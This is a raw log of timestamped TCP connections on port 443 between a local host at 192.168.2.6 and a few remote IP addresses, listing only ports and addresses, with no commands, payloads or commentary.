Nov 14, 2024 17:24:20.496658087 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.496704102 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.497179031 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.497195005 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.508968115 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.509407043 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.509452105 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.509689093 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.509696960 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.513811111 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.514081955 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.514092922 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.514384031 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.514389038 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.625633955 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.625708103 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.625761986 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.626039982 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.626063108 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.626075029 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.626080990 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.629511118 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.629556894 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.629638910 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.629842997 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.629856110 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.636286020 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.636440992 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.636507988 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.636559963 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.636583090 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.636599064 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.636606932 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.639498949 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.639533043 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.639619112 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.639756918 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.639770985 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.644932032 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.645675898 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.645745993 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.645745993 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.645793915 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.645812035 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.648334980 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.648439884 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.648524046 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.648699999 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.648737907 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.703844070 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:20.703929901 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.741163015 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.741182089 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:20.742075920 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:20.792356014 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.792397976 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.792493105 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:20.995594025 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.996243954 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.996275902 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.996867895 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.996874094 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.039505959 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.040169001 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.040234089 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.040656090 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.040671110 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.125703096 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.126090050 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.126274109 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.126274109 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.126274109 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.129270077 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.129303932 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.129376888 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.129532099 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.129539967 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.175621033 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.175828934 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.175909996 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.175965071 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.175966024 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.176002026 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.176026106 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.178292036 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.178333044 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.178410053 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.178566933 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.178605080 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.306570053 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:21.306799889 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:21.306890011 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:21.308895111 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:21.308906078 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:21.308929920 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:21.308934927 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:21.357259035 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:21.357346058 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:21.357423067 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:21.357727051 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:21.357744932 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:21.379959106 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.380500078 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.380528927 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.380996943 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.381001949 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.384533882 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.384888887 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.384912014 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.385283947 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.385288000 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.391664028 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.392971992 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.392987013 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.395500898 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.395504951 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.437521935 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.437546968 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.514363050 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.514453888 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.514501095 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.514683008 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.514699936 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.514710903 CET	49739	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.514717102 CET	443	49739	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.516212940 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.516294003 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.516352892 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.516446114 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.516446114 CET	49741	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.516484976 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.516510963 CET	443	49741	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.518718004 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.518769979 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.518902063 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.519033909 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.519045115 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.519762039 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.519782066 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.519840956 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.519926071 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.519932985 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.526767969 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.528070927 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.528130054 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.528165102 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.528178930 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.528188944 CET	49740	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.528192997 CET	443	49740	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.530153990 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.530196905 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.530257940 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.530369997 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.530390024 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.932529926 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.933310986 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.933371067 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.933751106 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.933765888 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.943922997 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.944433928 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.944449902 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:21.944818974 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:21.944823980 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.066119909 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.066346884 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.066430092 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.072896957 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.075340033 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.076625109 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.076873064 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.076940060 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.192516088 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.192559958 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.192574978 CET	49743	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.192581892 CET	443	49743	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.202255964 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.202277899 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.202287912 CET	49742	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.202291965 CET	443	49742	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.216041088 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.216068029 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.217127085 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.223524094 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.223524094 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.223789930 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.279740095 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.279824972 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.279911995 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.280459881 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.280482054 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.280531883 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.288495064 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.288508892 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.289144993 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.289155960 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.295538902 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.298645020 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.298706055 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.298708916 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.298957109 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.298973083 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.299130917 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.299140930 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.307837009 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.307842016 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.425816059 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.426011086 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.426116943 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.436321020 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.436749935 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.436826944 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.523294926 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.523296118 CET	49747	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.523379087 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.523412943 CET	443	49747	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.524713039 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.524713993 CET	49746	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.524751902 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.524766922 CET	443	49746	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.527040958 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.527126074 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.527198076 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.527524948 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.527546883 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.528362036 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.528394938 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.528440952 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.528523922 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:22.528533936 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:22.571764946 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.571897030 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.571971893 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.571996927 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.572092056 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.572191000 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.572205067 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.572287083 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.572352886 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.572362900 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.572449923 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.572510004 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.572519064 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.625169039 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.625199080 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.671874046 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.725605965 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.725964069 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.726022959 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.726032972 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.726125002 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.726181984 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.726188898 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.726341009 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.726396084 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.726474047 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.726474047 CET	49744	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.726488113 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.726495028 CET	443	49744	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.892400026 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.892452002 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:22.892575026 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.892927885 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:22.892944098 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:23.069017887 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.069803953 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.069820881 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.070314884 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.070321083 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.079212904 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.079566956 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.079588890 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.079940081 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.079953909 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.093767881 CET	49673	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:23.093863964 CET	49674	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:23.202006102 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.202721119 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.202822924 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.202876091 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.202884912 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.202908993 CET	49749	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.202915907 CET	443	49749	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.206203938 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.206228971 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.206315041 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.206459045 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.206466913 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.209621906 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.209779024 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.209841013 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.209908962 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.209908962 CET	49748	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.209938049 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.209964991 CET	443	49748	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.212012053 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.212039948 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.212102890 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.212239027 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.212250948 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.264220953 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.265172005 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.265235901 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.265755892 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.265772104 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.299576998 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.300091028 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.300108910 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.300669909 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.300679922 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.301661968 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.301887989 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.301897049 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.302158117 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.302160978 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.395879030 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.395925045 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.396145105 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.396292925 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.396292925 CET	49745	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.396338940 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.396368027 CET	443	49745	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.399607897 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.399629116 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.399715900 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.399890900 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.399899006 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.421884060 CET	49672	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:23.432506084 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.432854891 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.432961941 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.432961941 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.432980061 CET	49751	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.432986021 CET	443	49751	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.434914112 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.435092926 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.435172081 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.435190916 CET	49750	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.435195923 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.435204983 CET	49750	443	192.168.2.6	13.107.246.45
